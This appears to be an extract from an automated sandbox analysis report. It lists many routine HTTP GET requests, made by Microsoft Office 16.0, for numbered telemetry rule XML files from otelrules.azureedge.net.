Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
